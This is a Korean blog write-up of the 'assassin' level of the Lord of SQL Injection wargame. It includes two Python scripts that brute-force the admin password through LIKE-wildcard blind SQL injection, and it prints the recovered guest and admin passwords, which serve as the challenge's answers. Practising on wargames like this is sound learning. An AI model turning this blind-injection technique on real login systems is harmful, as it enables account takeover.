이번 포너블 스터디 과제도 assasin인데.. 여기까지 왔구나..
분석
이번 문제도 짧습니다.
전달받는건 pw뿐이고 작은따옴표 사용이 막혀있습니다.
이번엔 like문을 우회하는 것 같네요. 근데.. 음 네.
작은 따옴표를 못 쓰니까 ' or '1=1 같은 것도 할 수가 없고.
근데 like면 %를 쓰던게 생각나는데,
like에서 전 문제에서 브루트포싱을 할 때 %를 가지고 뒤 문자를 생략해서 검색했습니다.
이를테면
a%이면 a로 시작하는 모든 문자열
%b면 b로 끝나는 모든 문자열
%c%면 c가 들어가는 모든 문자열..
이렇게요 .
음?
실수로 %만 입력하긴 했는데
생각해보니 브루트포싱..? 같기도 하네요.
풀이
처음에 걍 뭘 넣어도 admin이 안 뜨길래(?% 에 대해서만 검사함)
guest를 띄워보니 guest는 잘만 뜨더군요.
걍 심심해서
90d2fe10 이게 게스트 비번인건 찾았습니다.
근데 저번에 궁금했던건 admin과 guest 비번이 같은 경우면 어떡하지..? 였던건데..
그래서 안뜨나봅니다.
특정한 순간부터 admin이랑 guest의 비밀번호가 달라진다면
음.. 계속 guest 검사하다가 전부 다 보다가..? admin 뜨면 guest에 넣었던거를 바꿔버리면 되지 않을까용.
아 그리고 0x30부터 0x7f까지로 하면 _가 뜨는데 이게 또 like에서 뭔가 의미를 가지기 때문에..
그냥 후보군을 따로 지정했습니다.
import requests
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?'
cookie = {'PHPSESSID' : 'your cookie'}
check = '1234567890abcdefghijklmnopqrstuvwxyz!@$^*()'
pw = ''
for i in range(30) :
notfound = 1
for j in check :
query = 'pw={}%'.format(pw+j)
print(query,pw)
req = requests.get(url+query, cookies=cookie)
if('Hello guest' in req.text) :
ans = j
notfound=0
if('Hello admin' in req.text) :
ans = j
notfound = 0
break
if(notfound) :
break
pw += ans
print('res:',pw)
후보군을 check로 지정하고
길이는 크게, 모든걸 조사하다가 notfound라는 플래그가 켜져있으면 종료. guest든 admin이든 찾으면 notfound를 끔.
admin 조건문을 guest뒤로 검사해서 무조건 guest가 있더라고 admin에 걸리면 바뀌도록 만들었습니다.
admin이 guest보다 앞에 나오면 바로 break 때리고 종료하겠지만 뒤에 있을 경우를 대비해서 guest면 break하지 않습니다.
ans라는 변수도 따로 만들었죠. admin으로 대체하려고.
그래서 나온게 이건데 역시 guest pw랑 비슷하네요.
902efd10
아 그리고 pw에 ans 추가는 notfound 뒤에 둡니다. 안 그러면 결과로 0이 하나 더 붙어용.
후보군 지정 안 하면 이상한게 나와서;;
이렇게 하면 클리어됩니다..
ㅠ 이건 좀 어려웠네요.
어? elif 써서 풀어도 되잖아..?
그렇더라고요.
바본가..?
elif를 쓰면 ans를 쓸 필요가 없습니다.
가독성에 좋네요.
import requests
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?'
cookie = {'PHPSESSID' : '쿸킈'}
check = '1234567890abcdefghijklmnopqrstuvwxyz!@$^*()'
pw = ''
for i in range(30) :
notfound = 1
for j in check :
query = 'pw={}%'.format(pw+j)
print(query,pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += j
notfound = 0
break
elif('Hello guest' in req.text) :
pw += j
notfound=0
if(notfound) :
break
print('res:',pw)
진짜 끝